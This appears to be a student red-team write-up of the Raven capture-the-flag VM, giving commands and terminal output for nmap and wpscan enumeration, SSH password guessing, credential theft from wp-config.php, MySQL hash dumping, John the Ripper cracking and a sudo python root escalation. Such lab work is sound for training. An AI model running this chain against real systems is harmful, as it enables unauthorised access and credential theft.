

Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

```
$ nmap -sV 198.162.1.110
```

```
Shell No.1
File Actions Edit View Help
root@Kali:/# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-14 19:19 PDT
Nmap scan report for 192.168.1.110
Host is up (0.00073s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.60 seconds
root@Kali:/#
```

This scan identifies the services below as potential points of entry:

- Target 1
 - 22/tcp open ssh
 - 80/tcp open http
 - 111/tcp open rpcbind
 - 139/tcp open netbios-ssn
 - 445/tcp open netbios-ssn

The following vulnerabilities were identified on each target:

- Target 1
 - Open SSH (**CVE-2015-5600**)
 - Wordpress Enumeration (Vulnerable Wordpress Application)(**CVE-2017-5487**)
 - Easily Cracked password hashes
 - Root Escalation with python (**CVE-2019-5629**)
 -
 - Config files containing full MYSQL username and passwords
 - SQL Database Containing usernames and password hashes
 - System allows weak passwords (no uppercase, number, or special characters required)

```
Shell No.1
File Actions Edit View Help

root@Kali:~# nmap -sV --script=vulners -v 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-18 14:38 PDT
NSE: Loaded 46 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:38
Completed NSE at 14:38, 0.00s elapsed
Initiating NSE at 14:38
Completed NSE at 14:38, 0.00s elapsed
Initiating ARP Ping Scan at 14:38
Scanning 192.168.1.110 [1 port]
Completed ARP Ping Scan at 14:38, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:38
Completed Parallel DNS resolution of 1 host. at 14:38, 0.00s elapsed
Initiating SYN Stealth Scan at 14:38
Scanning 192.168.1.110 [1000 ports]
Discovered open port 22/tcp on 192.168.1.110
Discovered open port 80/tcp on 192.168.1.110
Discovered open port 111/tcp on 192.168.1.110
Discovered open port 445/tcp on 192.168.1.110
Discovered open port 139/tcp on 192.168.1.110
Completed SYN Stealth Scan at 14:38, 0.08s elapsed (1000 total ports)
Initiating Service scan at 14:38
Scanning 5 services on 192.168.1.110
Completed Service scan at 14:39, 11.02s elapsed (5 services on 1 host)
NSE: Script scanning 192.168.1.110.
Initiating NSE at 14:39
Completed NSE at 14:39, 0.86s elapsed
Initiating NSE at 14:39
Completed NSE at 14:39, 0.01s elapsed
Nmap scan report for 192.168.1.110
Host is up (0.0011s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
vulners:
cpe:/a:openbsd:openssh:6.7p1:
CVE-2015-5600 8.5 https://vulners.com/cve/CVE-2015-5600
MSF:ILITIES/GENTOO-LINUX-CVE-2015-6564/ 6.9 https://vulners.com/metasploit/MSF:ILITIES/GENTOO-LINUX-CVE-2015-6564/ *EXPLOIT*
CVE-2015-6564 6.9 https://vulners.com/cve/CVE-2015-6564
CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919
CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906
SSV:90447 4.6 https://vulners.com/seebug/SSV:90447 *EXPLOIT*
CVE-2016-0778 4.6 https://vulners.com/cve/CVE-2016-0778
CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617
MSF:ILITIES/OPENBSD-OPENSSSH-CVE-2020-14145/ 4.3 https://vulners.com/metasploit/MSF:ILITIES/OPENBSD-OPENSSSH-CVE-2020-14145/*
EXPLOIT*
MSF:ILITIES/HUAWEI-EULERO5-2_0_SP9-CVE-2020-14145/ 4.3 https://vulners.com/metasploit/MSF:ILITIES/HUAWEI-EULERO5-2_0_SP9-C
```

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
 - flag1.txt: *b9bbcb33e11b80be759c4e844862482d*

Exploit Used

- *WPS Scan to enumerate usernames on target machine*

```

Shell No.1
File Actions Edit View Help
root@Kali:/# wpscan --url 192.168.1.110/wordpress --enumerate vp,u
-----
  W P S C A N
WordPress Security Scanner by the WPScan Team
Version 3.7.8
Sponsored by Automattic - https://automattic.com/
@WPScan_, @ethicalhack3r, @erwan_lr, @firefart
-----

[+] URL: http://192.168.1.110/wordpress/
[+] Started: Mon Mar 14 19:43:03 2022

Interesting Finding(s):

[+] http://192.168.1.110/wordpress/
  Interesting Entry: Server: Apache/2.4.10 (Debian)
  Found By: Headers (Passive Detection)
  Confidence: 100%

[+] http://192.168.1.110/wordpress/xmlrpc.php
  Found By: Direct Access (Aggressive Detection)
  Confidence: 100%
  References:
  - http://codex.wordpress.org/XML-RPC_Pingback_API
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.1.110/wordpress/readme.html
  Found By: Direct Access (Aggressive Detection)
  Confidence: 100%

[+] http://192.168.1.110/wordpress/wp-cron.php
  Found By: Direct Access (Aggressive Detection)
  Confidence: 60%
  References:
  - https://www.iplocation.net/defend-wordpress-from-ddos
  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.8.7 identified (Insecure, released on 2018-07-05).

```

```

[!] User(s) Identified:

[+] steven
  Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  Confirmed By: Login Error Messages (Aggressive Detection)

[+] michael
  Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPvulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulnDB.com/users/sign_up

```

- **Command:** `wpscan -url 192.168.1.110/wordpress --enumerate vp, u`
- **SSH'd into Michael's username by guessing password (password was also michael)**

```

michael@target1:~
File Actions Edit View Help

root@Kali:/# ssh michael@192.168.1.110
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
michael@target1:~$

```

- **Command:** ssh michael@192.168.1.110 (entered password as 'michael')
- Entered the /var/www/html directory and ran a grep to find flag 1
- Flag was found in the service.html file

```
michael@target1:/var/www/html
File Actions Edit View Help
michael@target1:/var/www/html$ grep -R flag1
service.html: 4----- flag1{b9bbcb33e11b80be759c4e844862482d} -->
michael@target1:/var/www/html$
```

- **Command:** cd /var/www/html || grep -R flag1
 - flag2.txt: fc3fd58dcdad9ab23faca6e9a36e581c

Exploit Used

- *Once access to the system was gained through Michales username and password, I changed to the /var/www directory, flag two was located clearly in this directory*

```
michael@target1:~$ ls
michael@target1:~$ cd /
michael@target1:/ $ cd var
michael@target1:/var$ ls
backups  cache  lib  local  lock  log  mail  opt  run  spool  tmp  www
michael@target1:/var$ cd www
michael@target1:/var/www$ ls
flag2.txt  www
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```

- **Commands:** cd /var ; cd www; ls; cat flag2.txt
 - flag3.txt: afc01ab56b50591e7dccf93122770cd2

Exploit Used

- *From the /html folder, I accessed the wordpress directory, outputting the content of the wp-config.php, the MySQL username and password were both listed within the file and unencrypted*

```

michael@target1:/var/www/html/wordpress
File Actions Edit View Help
michael@target1:/var/www/html$ ls
about.html  contact.zip  elements.html  img  js  Security - Doc  team.html  wordpress
contact.php  css  fonts  index.html  scss  service.html  vendor
michael@target1:/var/www/html$ cd wordpress
michael@target1:/var/www/html/wordpress$ ls
index.php  wp-activate.php  wp-comments-post.php  wp-content  wp-links-opml.php  wp-mail.php  wp-trackback.php
license.txt  wp-admin  wp-config.php  wp-cron.php  wp-load.php  wp-settings.php  xmlrpc.php
readme.html  wp-blog-header.php  wp-config-sample.php  wp-include  wp-login.php  wp-signup.php
michael@target1:/var/www/html/wordpress$ cd wp-config.php
-bash: cd: wp-config.php: Not a directory
michael@target1:/var/www/html/wordpress$ cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

```

- **Commands:** cd var/www/html/wordpress; ls; cat wp-config
- Used MySQL to access the database, and dumped the contents of the wp_posts database, giving flag 3

```

michael@target1:~
File Actions Edit View Help
michael@target1:~$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 38
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+-----+
4 rows in set (0.01 sec)

mysql>

```

```
michael@target1: ~  
File Actions Edit View Help  
Oracle is a registered trademark of Oracle Corporation and/or its  
affiliates. Other names may be trademarks of their respective  
owners.  
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.  
mysql> show databases;  
+-----+  
| Database |  
+-----+  
| information_schema |  
| mysql |  
| performance_schema |  
| wordpress |  
+-----+  
4 rows in set (0.01 sec)  
mysql> select * from wordpress;  
ERROR 1046 (3D000): No database selected  
mysql> use wordpress  
Reading table information for completion of table and column names  
You can turn off this feature to get a quicker startup with -A  
Database changed  
mysql> select * from wordpress;  
ERROR 1146 (42S02): Table 'wordpress.wordpress' doesn't exist  
mysql> show tables  
→ ;  
+-----+  
| Tables_in_wordpress |  
+-----+  
| wp_commentmeta |  
| wp_comments |  
| wp_links |  
| wp_options |  
| wp_postmeta |  
| wp_posts |  
| wp_term_relationships |  
| wp_term_taxonomy |  
| wp_termmeta |  
| wp_terms |  
| wp_usermeta |  
| wp_users |  
+-----+  
12 rows in set (0.00 sec)  
mysql> █
```

```
michael@target1: ~  
File Actions Edit View Help  
<blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickies to the public ever since. Local  
Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>  
As a new WordPress user, you should go to <a href="http://192.168.206.131/wordpress/wp-admin/">your dashboard</a> to delete this page  
and create new pages for your content. Have fun! | Sample Page | publish | closed | open |  
Sample Page | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 | 0 | page | 0 | http://192.168.206.131/wordpress/?page_id=2  
| 4 | 1 | 2018-08-13 01:48:31 | 0000-00-00 00:00:00 | flag3{afc01ab56b50591e7dccc93122770cd2}
```

- **Commands:** mysql -u root -p (entered password 'R@v3nSecurity'); show databases; use wordpress; show tables; select * from wp_posts
- flag4.txt: 715dea6c055b9fe3337544932f2941ce

Exploit Used

- From inside the mysql wordpress database, I found both Steven and Michaels password hashes in the wp_users

```
michael@target1: ~  
File Actions Edit View Help  
mysql> select id, user_login, user_pass From wp_users;  
+-----+-----+-----+  
| id | user_login | user_pass |  
+-----+-----+-----+  
| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 |  
| 2 | steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ |  
+-----+-----+-----+  
2 rows in set (0.00 sec)  
  
mysql> █
```

- *Commands: select id, user_login, user_pass from wp_users;*
- *I copied the password hashes and usernames to a text file from the kali machine*

```
michael@target1: ~  
File Actions Edit View Help  
GNU nano 2.2.6 File: wp_hashes.txt  
█ michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0  
steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
```

- *Commands: exit (to root@kali); nano wp_hashes.txt*

- *I ran John the ripper on the password hash file to decrypt the passwords, which gave Steven's password as pink84*

```
michael@target1:~
File Actions Edit View Help

root@Kali:~# ls
Desktop Documents Downloads Music Pictures Public Templates Videos wp_hashes.txt
root@Kali:~# john wp_hashes.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 1 candidate buffered for the current salt, minimum 96 needed for performance.
Warning: Only 79 candidates buffered for the current salt, minimum 96 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:02:41 3/3 0g/s 22197p/s 44385c/s 44385C/s cmonic..cmoets
Session aborted
root@Kali:~# ls
Desktop Documents Downloads Music Pictures Public Templates Videos wp_hashes.txt
root@Kali:~# nano wp_hashes.txt
root@Kali:~# john wp_hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 79 candidates buffered for the current salt, minimum 96 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:00:54 3/3 0g/s 45406p/s 45406c/s 45406C/s catemax..calipoy
0g 0:00:00:55 3/3 0g/s 45434p/s 45434c/s 45434C/s 159a98..153sce
pink84
(steven)
1g 0:00:01:20 DONE 3/3 (2022-03-16 15:51) 0.01245g/s 46074p/s 46074c/s 46074C/s poslus..pingar
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
root@Kali:~#
```

- *Commands: john wp_hashes.txt*
- *I ssh'd into Steven's account, and ran sudo -l to see what sudo permissions were available... Steven had root access to /usr/bin/python. From here, I was able to use sudo access to the directory/command in order to run a privilege escalation which gave me a root shell, at that point, entering the root directory shows flag4.txt*

```

michael@target1: ~
File Actions Edit View Help

$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven# ls
root@target1:/home/steven# cd ..
root@target1:/home# ls
michael steven vagrant
root@target1:/home# cd ..
root@target1:/# ls
bin    etc      lib      media   proc    sbin    tmp      var
boot  home    lib64    mnt     root    srv     usr      vmlinuz
dev    initrd.img  lost+found  opt     run     sys     vagrant

root@target1:/# cd root
root@target1:~# ls
flag4.txt
root@target1:~# cat flag4.txt
-----
|  __ \
| | / _ \ ___ _ _ _ _ _
|  __ \ ' _ \ / _ \ ' _ \
| | \ \ / \ | \ \ / \ | |
\_| \_\_\_\_| \_\_\_\_| \_|

flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io
root@target1:~# █

```

- **Commands:** `ssh steven@192.168.1.110` (password: pink84); `sudo -l`; `sudo python -c 'import pty;pty.spawn("/bin/bash")'`; `cd /root`; `ls`; `cat flag4.txt`

Sources:

Interactive terminal spawned via Python: Elastic Security Solution [8.1].

Elastic. (n.d.). Retrieved March 18, 2022, from <https://www.elastic.co/guide/en/security/current/interactive-terminal-spawned-via-python.html>

Peleus. (n.d.). *Ramblings*. NetSec. Retrieved March 18, 2022, from <https://netsec.ws/?p=337>

NVD. (n.d.). Retrieved March 18, 2022, from <https://nvd.nist.gov/vuln/detail/CVE-2019-5629>

NVD. (n.d.). Retrieved March 18, 2022, from <https://nvd.nist.gov/vuln/detail/CVE-2017-5487>

How to detect CVES using NMAP vulnerability scan scripts. (n.d.). Retrieved March 18, 2022, from <https://securitytrails.com/blog/nmap-vulnerability-scan>